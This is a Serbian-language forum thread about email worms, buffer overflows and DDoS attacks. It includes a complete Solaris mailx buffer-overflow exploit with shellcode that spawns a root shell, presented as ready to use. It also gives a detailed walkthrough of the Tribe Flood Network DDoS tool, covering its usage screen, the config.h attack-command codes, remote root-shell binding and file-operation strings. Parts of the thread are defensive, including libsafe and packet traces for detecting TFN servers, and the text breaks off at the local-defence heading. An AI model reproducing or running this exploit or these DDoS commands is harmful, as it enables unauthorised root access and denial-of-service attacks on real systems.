Pored trojanaca opasnost predstavljaju i virusi koji se šire putem emaila, tzv. crvi. Takvi virusi prate kome sve žrtva šalje pisma, i uz njihove emailove prikace i svoju kopiju, tako da primalac pisma dobije virus od svog prijatelja.

Zato je potrebno biti obazriv kada se prima mail poruka sa prikacenim programom. Posebno treba obratiti pažnju na dva nova tipa crva, a to su crvi iz porodice takozvanih 'VBA crva' ciji je predstavnik sada vec cuveni crv 'I-LOVE'YOU' i crvi iz porodice 'ActiveX crva' koju predstavlja crv 'BubbleBoy'.

VBA crvi koriste posebnu tehniku kako bi zavarali potencijalnu žrtvu. Pored toga što crv nema ekstenziju EXE vec VBA ili VBS (što znaci da su pisani u Visual Basic Script formatu i da je za njihovo izvršavanje potreban IE), takvi crvi se obicno distribuiraju sa extenzijom '.txt.vba', tako da potencijalna žrtva pomisli da se radi o obicnom tekstu i startuju fajl. Pošto je zadnja ekstenzija '.vba', ne startuje se Notepad vec IE koji izvrši program, tako da potencijalna žrtva postane prava žrtva.

Posle crva 'I-LOVE-YOU', koji se širi sa fajlom 'LOVE-LETTER-FOR-YOU.TXT.vbs', pojavilo se još nekoliko stotina prepravljenih verzija ovog crva, medu kojima je i srpska verzija koja se zove 'Volim i ja Vas.txt.vbs'.

Specijalna vrsta zlonamernih email poruka su poruke koje koriste Java/ActiveX aplete da bi ubacili trojanca ili obrisali fajlove po disku. Aplet koji nosi takvo jedno pismo se izvrši cim ga korisnik otvori, tako da nije više ni potrebno da startujete prikaceni fajl - on se sam startuje!

Takav email može (bez startovanja pomocnog EXE fajla) brisati fajlove, kopirati, i kreirati nove, prosto receno, aplet ima sve privilegije i može se 'ugnjezditi' u sistem, kako bi kasnije preduzeo neke nove akcije.

Takav jedan aplet nosi crv 'BubbleBoy' koji se kao i svi crvi širi putem emaila. Dovoljno samo da neoprezni korisnik otvori e-mail i postace žrtva koja ce svojom nepažnjom poslati kopiju crva na još nekoliko stotina emaila.

To je samo jedna mogucnost ovakvih mail poruka. Naime, taj aplet može startovati prikaceni fajl, koji ce u ovom slucaju preuzeti punu kontrolu nad racunarom primaoca i otvorice zlonamernom korisniku 'zadnja vrata'.
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:30 pm

4.5 Neovlašceno ulaženje na racunarski sistem

Neovlašcen pristup racunarskom sistemu se najcešce svodi na korišcenje i zloupotrebu neke vrste sigurnosne rupe u samom sistemu.

Najcešce se to svodi na pravljenje i korišcenje exploita (programi pisani da iskoriste postojanje sigurnosne rupe u nekom sistemskom programu i dozvole onom ko je pokrenuo exploit da dobije neovlašcene privilegije na sistemu)

Najcešce korišcena metoda prilikom pravljenja exploita je klasican buffer overflow.

Naime buffer overflow je prepunjavanje buffera i pisanje po prostoru po kom ne bi smelo da se piše u normalnim okolnostima. Ali šta se time dobija? Šta se može postici?

Evo i prostog programa koji u sebi sadrži klasican buffer overflow:

<++> vuln.c
int main(int argc,char **argv){
char buf[256];
strcpy(buf,argv[1]);
printf("passed : %s\n",buf);
}
<--> vuln.c

program 1

Svaka funkcija koja se poziva mora da se vrati na mesto svog poziva.To se radi tako što se pri pozivu funkcije sa instrukcijom call na stacku sacuva EIP koji ce se na kraju funkcije pokupiti i vratiti na mesto poziva.

Kako je main() funkcija i ona ce biti pozvana (disass _start) i njen EIP ce biti sacuvan negde na stacku. Na samom kraju funkcija nalazi se instrukcija ret koja ce sacuvan EIP sa stack-a da pokupi i da se na taj nacin vrati odakle je pozvana. Medutim zbog specificnosti samog rada sa memorijom i rada sa stackom (stack na i386 raste na dole) situacija u kojoj bi string bio veci od prostora koji smo mu dodelili definišuci mu buffer (u ovom slucaju 256 byte) izazvao bi rušenje integriteta memorije jer bi preostali deo stringa (preko 256 byte) prepisao u memoriji i mesto gde je zapisan EIP ispuniti string karakterima i time izazvati pad programa kada na kraju funkcija pokrene ret da u EIP upiše string karaktere. Medutim, ako u EIP namerno upišemo adresu shell coda (tacnije prepuni buffer sa shell codom i cekamo da ga ret pokupi) i rezultat pada programa bice novi shell koji ce se pokrenuti. Ako je program bio SUID (imao privilegije super korisnika (Super User ID)) dobicemo privilegije root-a na toj mašini i samim tim postati korisnik sa administratorskim privilegijama. Primer jednog klasicnog exploita koji se može koristiti na sistemima Sun Solaris kojim korisnik koji ga pokrene dobija efektivni root access.

id=6.#include <fcntl.h>

int main(int ac, char **av)

{

char shell[]=

"\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\ x08" /* setegid(6) */

"\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\ x08" /* setgid(6) */

"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */

"\x82\x10\x20\x17" /* mov 0x17,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */

"\x20\xbf\xff\xff" /* bn,a <shellcode> */

"\x7f\xff\xff\xff" /* call <shellcode+4> */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh";

u_long get_sp(void)

{ __asm__("mov %sp,%i0 \n"); }

unsigned long magic = get_sp() + 1444 ; /* default offset */

unsigned char buf[1220];

char *envi;

int cont;



envi = (char *)malloc(1000*sizeof(char));

for (cont=3;cont<990;cont=cont+4)

{ envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }

for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];

memcpy(envi,"SO=",3);

envi[999]=0;

putenv(envi);

memset(buf,0x41,1220);

memcpy(buf+1120+24,&magic,4); /* fake %fp */

memcpy(buf+1120+28,&magic,4); /* fake %i7 */

buf[1220]=0;

execl("/usr/bin/mailx","mailx","-F",buf,NULL);

}

program 2

U skorašnje vreme postoji programski paket pod imenom libsafe (http://www.research.avayalabs.com/project/libsafe/) koji služi za zaštitu kriticnih elemenata stack-a za svaki program koji je startovan unutar operativnog sistema baziranih na UNIX platformama .Libsafe radi na principu terminacije, odnosno ukoliko dode do prepisivanje stack-a libsafe automatski terminiše odnosno nasilno iskljuci taj program. Jedina mana paketa Libsafe jeste što je ogranicen na UNIX platforme, što platforme tipa WINDOWS ostavlja u oskudici
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:30 pm

5. DDOS

5.1 DDOS pojam

Distribuirani DOS, kao i bilo koji distribuirani koncept predstavlja nacin kako pokrenuti odredenu proceduru sa nekoliko racunara. U ovom slucaju to je uskracivanje servisa (denial of service) u formi preplavljivanja paketima, a u cilju opterecivanja mreža odnosno linkova radi njihovog onesposobljavanja. DDOS ne predstavlja kategoriju alata za hakovanje vec nacin razmisljanja. Medutim kao i svaki informaticki koncept propracen je alatima koji opravdavaju ovaj nacin razmisljanja. DDOS alati predstavljaju PENETRACIONE alate , oni ne eksploatišu sigurnosne rupe odnosno ranjivosti ali mogu da ispitaju koliku kolicinu saobracaja jedan racunar, mreža mogu ili ne mogu da podnesu. DDOS se vec duže vreme koristi od strane profesionalnih konsultanata za sigurnost kao sredstvo za testiranje izdržljivosti mreža. Pre nego što su izašli DDOS alati, postojali su komercialini alati koji su mogli da pokrenu takozvano distribuirano preplavljivanje paketima. Ti alati su korišceni u okviru preduzeca koja se bave sigurnošcu da bi mogli da primene sigurnosni servis koji se naziva ?Capacity Management?. Svrha ?Capacity Management? je da se utvrdi koliku kolicinu saboracaja može da podrži jedna mreža, i da se utvrdi da li se propusna moc mete u ovom slucaju mreže koja se testira mora poboljšati ili da li ona može da izdrži tu kolicinu saobracaja a pri tome da može da pruža usluge koje se nalaze na toj mreži odnosno meti.

5.2 Za šta se DDOS može koristiti ?

On može da preoptereti mrežne linkove. On šalje bezsmislene pakete, pri cemu je kolicina paketa i suviše velika da bi neka mreža mogla to da primi i obradi, tako da je jedino za šta se može koristiti DDOS jeste onemogucavanje pristupa mreži i samim uslugama koje ta mreža pruža.

Skorašnji primer DDOS napada izvod iz BLICA

Napadnut Telekomov link

Kada je podignuta cena impulsa, grupa nezavisnih hakera je pocela da pretražuje Telekomov link, vršeci smurf ili tzv. DDOS napad. Time prekidaju njihov link i nanose im ogromnu štetu, jer ih onemogucavaju u komunikaciji. Napad ide preko servera iz inostranstva, na primer u Papua Novoj Gvineji, sa Sejšela i slicno, zbog cega Telekom ne može da im ude u trag. Mi se od toga ogradujemo, ali to govori o nezadovoljstvu korisnika Interneta i o kontraefektima poskupljenja

5.3 Kako on radi ?

Osnovna ideja je da se instalira ogromna kolicina DOS servera na razlicitim racunarima, koji cekaju komande od centralnog klijenta. U trenutku kada centralni klijent da komandu da generišu onoliko saobracaja koliko to želi napadac i usmere ga ka jednoj mreži, alat distribuira komande serverima da generisan saobracaj puste ka odredenoj mreži i na taj nacin otpocnu uskracivanje usluga. Iz ovih razloga se ovaj metod naziva distribuirano uskracivanje usluga. Pre nego sto su ovakvi alati napravljeni onaj koji napada ili onaj koji testira mrežu u cilju zastite od takvih napada je morao da se telnetuje na sve masine sa kojih želi da izvrši napad ili da izvrši testiranje mreže i manuelno da otpocne napad na željenu mrežu koristeci UNIX komandu ping2 -f mreža
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:31 pm

6.0 Detaljan opis DDOS alata (TFN project)

6.1 Intro

U ovom delu je data analizu "Tribe Flood Network" alata ili popularnije nazvanog "TFN", koji je kreirao Mixter. TFN se trenutno razvija i testira na mnogobrojnim kompromitovanim racunarima bazarianih na Unix sistemima.

TFN je sastavljen na principu klijent-server tehnologije koji se implementuje kao alat za distribuirano uskracivanje usluga.Kao takav sposoban je da izvršava sledece oblike napada:

ICMP flood
SYN flood
UDP flood
Smurf
Pružanje root konzole po zahtevu na odredenom portu

TFN serveri su prvobitno nadeni u binarnoj formi na Solaris 2.x sistemima, koji su indetifikovani kao kompromitovani sistemi, exploatisani sa buffer overrun bagom u RPC servisima "statd","cmsd" i "ttdbserverd". Ovaj buffer overrun je opisan na CERT-ovom web sajtu incident 99-04:

http://www.cert.org/incident_notes/IN-99-04.html

U pocetku je postojalo verovanje da su ovi server korišceni kao neki od programa koji služe za prisluškivanje ili za daljinsko upravljanje. Tokom istrage koristeci razne alate za analizu i zastitu od upada došlo se do zakljucka da je ovo jedan od alata za distribuirano uskracivanje usluga ,koji je baziran na alatu trinoo koji takode služi za distribuirano uskracivanje usluga, a ciji se izvorni kod nalazio na jednom ukradenom nalogu koji je bio korišcen za bekapovanje logova.
Treba napomenuti da sem TFN i TRINOO postoje i drugi alati kao na primer :
stacheldracht (veoma slican alat TFN-u)
papasmurf (koristi samo smurf kao oblik napada)
fraggle (koristi samo UDP flood kao oblik napada)
winsmurf (koristi samo smurf kao oblik napada win32 verzija)
jolt (syn flood alat koji za razliku od prethodnih neradi na principu klijent- server vec je standalone alat)

6.2 Izvršni kod ("verzije 1.3 build 0053") TFN servera

Modifikacijom izvršnog koda može se promentiti bilo koji od detalja ove analize kao što su konzole šifre komande TCP/UDP portovi kao i podržani metodi napada.

U ovo slucaju oba dela TFN alata server i klijent su kompajlirani i pokretani sa Red Hat Linux 6.0 operativnog sistema.

Za analizu inicjalnog upada pogledacemo strukturu jedne TFN mreže

Mreža: napadac(i)-->klijent(i)-->server(i)-->Žrtva(e)

TFN mreža je sastavljena od tribe klijent programa ("tribe.c") i tribe server programa ("td.c") gde racunari na kojima se instaliraju ovi serveri se podrazumevaju.

+----------+ +----------+
| napadac | | napadac |
+----------+ +----------+
| |
. . . --+----------------------+-----------------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| klijent | | klijent | | klijent |
+----------+ +----------+ +----------+
| | |
| | |
. . .---+------+-----+------------+------------+------------+---- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| server | | server | | server | | server | | server |
+--------+ +--------+ +--------+ +--------+ +--------+

|

+----------+
| Žrtva |
+----------+

šema 1

Napadac(i) kontrolišu jednog ili više klijenata od kojih svako kontroliše više servera . Serverima je naloženo da koordinišu napad na jednu ili više žrtava, gde pod žrtvama podrazumevamo jedan ili više racunara kao i jednu ili više mreža, od strane klijenata.
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:32 pm

6.3 Komunikacija izmedu klijenta i servera

Daljinsko upravljanje TFN mrežom otpocinje na komandnoj liniji. Izvršavajuci tribe klijent program uspostavljamo konekciju na tribe servere jednom od brojnih metoda kao što su:

klijent-server vezivanje bazirano na TCP protokolu
klijent-server vezivanje bazirano na UDP protokolu
klijent-server vezivanje bazirano na ICMP protokolu
SSH konekcijama
Telnet konekcijama

Za vezivanje klijenta sa serverom nije potrebno imati šifru ukoliko necete da mrežu koju ste oformili cuvate samo za sebe, mada je potrebno imati takozvanu ip listu koja sadrži spisak TFN servera sa njihovim Internet adresama.

Komunikacija izmedu klijenta i TFN servera se ostvaruje sa ICMP_ECHOREPLY paketima što znaci da se TCP i UDP protokoli koriste samo pri uspustavljnju konekcije a ne pri komunikaciji, razlog za to je što vecina alata za monitoring ne prikazuju kolicinu ICMP_ECHOREPLY paketa koja prolazi kroz mrežu ili nemogu da vide šta se sadrži u paketu koji je baziran na icmp protokolu ,što monitoring izmedu klijenta i servera skoro cini nemogucim sa standardnim alatima.

U prilogu A su prikazane zakrpe za verziju Sniffit 0.3.7.beta koja omogucava da prikaže ICMP data segmente,i prilog B za zakrpe za tcpshow.c 1.0 da prikažu ICMP_ECHO i ICMP_ECHOREPLY identifikacione i sekvencianlne brojeve.

6.4 Pokretanje klijent programa

Kada pokrenemo program bez ikakvih opcija dobijamo pomocni ekran koji prikazuje komande koje su podržane od strane TFN-a i koji izgleda ovako:

[tribe flood network]

usage: ./tfn <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM

slika 5

U prvoj liniji ./tfn <iplist> <type> [ip] [port] nam je dato sledece:

iplist predstavlja numericku listu TFN servera ili broadcast servera složenu po njihovim Internet adresama. U zavisnosti od toga kakva je vrsta napada koristimo odredenu vrstu iplista .Ukoliko je vrsta napada SYN-flood,ICMP-flood ili UDP-flood u tom slucaju se koriste liste TFN servera ,a ako je vrsta napada Smurf tada se koriste TFN ili broadcast liste
type predstavlja prekidac koji odreduje vrstu napada kao i tkz spoof protection odnosno maskiranje polazne adrese ,odreduje velicinu paketa i odreduje dobijanje root-shella na odredenom portu.
IP u ovom slucaju predstavlja odredišnu adresu odnosno metu. Meta može biti jedna ili više adresa odnosno metu može predstavljati jedan racunar ili cela mreža.
port koristeci ovu opciju možemo odrediti obaranje nekog odredenog sevisa koji se korist na jednom racunaru kao naprimer port 80 za web ,port 25 za mail, portovi 6667-7000 za irc itd. Ukoliko želimo da zagušimo saobracaj onda se portovi randomno odreduju u rasponu od 0-65535.

Ukoliko smo se odlucili za racunar ili mrežu i odlucili za vrstu napada podesivši ove parametre koje ovaj program zahteva možemo otpoceti napad na željenu mrežu.Veoma je mali broj mreža danas na internetu koje su uspele da se odbrane od ovakvih vidova napada.Jedini razlozi za neuspelost odbrane od ovakvih napada jeste neshvatnje ovog problema kao ozbiljnog i kolicina novca koja se ulaže u sigurnost jedne mreže.

6.5 Zaštita šiframa

Pošto klijent nije zašticen šifrom za pristup svaka komanda koja se šalje serverima nije šifrovana .Da bi se postigao neki vid enkripcije odnosno zaštite šifrom komande su poslate u vidu 16-to bitnih brojeva koje su sakrivene u indetfikacionom polju ICMP_ECHOREPLY packeta.Broj ove sekvence je konstanta 0x0000, koji lici kao odgovor na standardnu ping komandu.

Ovo je primer standardnog "config.h" fajla koji ide uz TFN paket.

#ifndef _CONFIG_H

/* user defined values for the teletubby flood network */

#define HIDEME "tfn-daemon"
#define HIDEKIDS "tfn-child"
#define CHLD_MAX 50

/* #define ATTACKLOG "attack.log" keep a log of attacks/victims on all
hosts running td for debugging etc. (hint: bad idea) */

/* These are like passwords, you might want to change them */

#define ID_ACK 123 /* for replies to the client */
#define ID_SHELL 456 /* to bind a rootshell, optional */
#define ID_PSIZE 789 /* to change size of udp/icmp packets */
#define ID_SWITCH 234 /* to switch spoofing mode */
#define ID_STOPIT 567 /* to stop flooding */
#define ID_SENDUDP 890 /* to udp flood */
#define ID_SENDSYN 345 /* to syn flood */
#define ID_SYNPORT 678 /* to set port */
#define ID_ICMP 901 /* to icmp flood */
#define ID_SMURF 666 /* haps! haps! */

#define _CONFIG_H
#endif
primer 2

Kao što se vidi u ovom primeru "config.h" svi brojevi u srednjoj koloni predstavljaju šifre za pokretanje odredene vrste napada te je preporucljivo da se ti brojevi menjaju ukoliko želite da zaštite vašu TFN mrežu da neko sem vas samih nemože da koristi komande ukoliko je ta mreža napravljena kao sredstvo koje bi služilo da se proveri propusni opseg same mreže na kojoj se takva vrsta servisa nalazi.

6.6 Tragovi (Fingerprints)

Kao i sa trinoo paketom, metodi za instaliranje klijent/server TFN programa su isti kao i kod vecine UNIX/LINUX operativnih sistema sa svim standardnim opcijama za sakrivanje programa i njegovih pratecih fajlova.

Oboje klijent i server moraju biti pokrenuti sa superuser (root) privilegijama iz razloga sto koriste neke kernel datoteke koje samo superuser može da koristi.

Skorašnje instalacije TFN servera ukljucuju stringove koje indiciraju da je autor istoimenog paketa ukljucio i enkripcione module poput modula BLOWFISH koji omogucuje da se enkriptuju ip liste servera što detekciju samih TFN server cini težom

Primer stringova koji su ukljuceni unutar skoro nadenog TFN servera na univerzitetu u Washingtonu

blowfish_init
blowfish_encipher
blowfish_decipher Funkcije za Enkripciju
encrypt_string
decrypt_string

serverworks
readmservers
addnewmserver Funkcije za kontrolu servera
delmserver
servcounti

icmp2
udppsize
icmpsize
spoofing
spooftest
commence_icmp Funkcije koje odreduju tip napada
commence_udp
commence_syn
floodtime
floodruns

bind
setsockopt Funkcije za Remote shell(daljinski prisupt)
listensocket


k00lip
fw00ding
k00lntoa
tc: unknown host
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s Komande koje služe za osnovne operac-
nohup ./%s ije sa fajlovima kao i sa kontrolom ostalih nezavisnih programa

prikaz 1
   Go down
Marchello



: 22
Join date : 17.02.2009

: Re: KOMPLETNO O DOS NAPADIMA   Tue Feb 17, 2009 3:33 pm

6.7 Prikaz aktivnosti TFN servera sa razlicitim paketima za pracenje saobracaj kao i aktivnih procesa

"Lsof" koristimo da ispitamo postojece procese na racunaru, gde prilikom listanja aktivnih programa utvrdili da li je podignut TFN server. Kada to uradimo primeticemo otvorene konekcije nespecifikovanog protokola. To nam govori da se na našim racunarima nalazi ovakav jedan maliciozni servis i što pre treba raditi na njegovom uklanjanju.

td 5931 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5931 root rtd DIR 3,1 1024 2 /
td 5931 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td
td 5931 root 3u sock 0,0 92814 can't
identify protocol

prikaz 2

Ukoliko je sa TFN serverom pokrenuta komanda da otvori remote-shell odnosno da se omoguci daljinsko upravljanje racunarom njegov prikaz izgleda ovako:


td 5970 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5970 root rtd DIR 3,1 1024 2 /
td 5970 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td (deleted)
td 5970 root 0u inet 92909 TCP
*:12345 (LISTEN)
td 5970 root 3u sock 0,0 92814 can't identify protocol


prikaz 3

Ukoliko pratimo mrežni saobracaj korsteci paket snffit modifikovan sa zakrpom (zakrpa predstavlja izmenu u programu sa kojom se dobijaju neke dodatne opcije koje prvobitno nisu ugradene) iz priloga A radeci komandu "ping -c 3 10.0.0.1" koja šalje tri ICMP_ECHO paketa, i ceka na ICMP_ECHOREPLY odnosno odgovor izgleda ovako:

# sniffit -d -a -x -b -s @ -Picmp
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1)

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 2B + 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 33 3 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 58 X 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 60 ` 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 70 p 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 78 x 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7

prikaz 4

Ovde možemo primetiti da se paketi sa istom vrednošcu poslati kao ICMP_ECHO paketi na odredište i sa odredišta se vracaju na polaznu tacku u obliku ICMP_ECHOREPLY paketa sa takode istom vrednošcu, stim sto se brojevi svake sekvence koje su prikazani kao bajt 7 i 8 povecavaju sa svakim sledecim paketom

Koristeci istu komandu ping c ali sada gledajuci protok na mreži sa paketom tcpdump/tcpshow modifikovan sa zakrpom iz priloga B dobijamo ovakav izgled:

# tcpdump -lenx -s 1518 icmp | tcpshow -noip -nolink -cooked
tcpdump: listening on eth0
Packet 1
ICMP Header
Type: echo-request
Checksum: 0x9B2A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567

Packet 2
ICMP Header
Type: echo-reply
Checksum: 0xA32A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567

Packet 3
ICMP Header
Type: echo-request
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567


Packet 4
ICMP Header
Type: echo-reply
Checksum: 0x6A3A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567

Packet 5
ICMP Header
Type: echo-request
Checksum: 0x5A3A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567

Packet 6
ICMP Header
Type: echo-reply
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567

prikaz 5

Ovde se primecuje da se broj sekvence povecava takode za jedan pocevši od ofseta odnoso inicijalnog paketa ciji je sekvencni broj 0X000.

Za razliku od standardne ping komande za koju smo rekli da koristi ICMP_ECHO-ICMP_ECHOREPLY pakete, TFN klijent šalje komade koristeci samo ICMP_ECHOREPLY pakete umesto da koristi ICMP_ECHO pakete. To je uradeno iz razloga da bi se kernel racunara na kome se nalazi TFN server srecio da odgovara sa ICMP_ECHOREPLY paketima a ukoliko server treba da šalje odgovore on to radi takode ICMP_ECHOREPLY paketima. Ovakav vid komunikacije izmedu klijenta i servera se razlikuje od standardnog ICMP_ECHO-ECHOREPLY oblika komunikacije i na taj nacin se može uci u trag postojecim TFN serverima na mreži.
ICMP_ECHOREPLY identifikaciono polje sadrži komande odnosno 16 bitne vrednosti koje su konvertovane u raspored bajta i teksta u ASCII modu

Ovo je primer šta napadac vidi kada izda komandu da se otvori konzola na portu 12345.

# ./tfn iplist 4 12345
[tribe flood network] (c) 1999 by Mixter

[request: bind shell to port 12345]
192.168.0.1: shell bound to port 12345
#

Primer 3

Za tu istu komandu koju je napadac izdao ovo je prikaz onoga šta vidimo sa sniffit paketom.

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4
35 5 00 .

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l
6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20
31 1 32 2 33 3 34 4 35 5 0A . 00 .

prikaz 6

Isti slucaj samo prikaz sa tcpdump alatom

# tcpdump -lnx -s 1518 icmp
tcpdump: listening on eth0
05:51:32.706829 10.0.0.1 > 192.168.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 64d1 01c8 0000 3132 3334
3500
05:51:32.741556 192.168.0.1 > 10.0.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 6cae 007b 0000 7368 656c
6c20 626f 756e 6420 746f 2070 6f72 7420
3132 3334 350a 00

prikaz 7

Isti slucaj ali kombinacijom tcpdump/tcpshow alatom

Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345

Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345

prikaz 8

Ono što je ovde ocigledno jeste da klijent šalje komandu 0x01C8 (decimalno 456) u identifikacijonom polju pracena sa brojem sekvence 0x0000 koje se ovde nemenja terminisana NULL ASCII stringom "12345" (koja odreduje port)

Server odgovara komandom 0x007B (decimalno 123) u identifikacijonom polju,propracenu brojem sekvence 0x0000,a zatim terminisana NULL ASCII stringom "shell bound to port 12345\n".U tom trenutku se ovaj string ispisuje na konzoli sa IP adresom servera.

6.8 Lokalna Odbrana

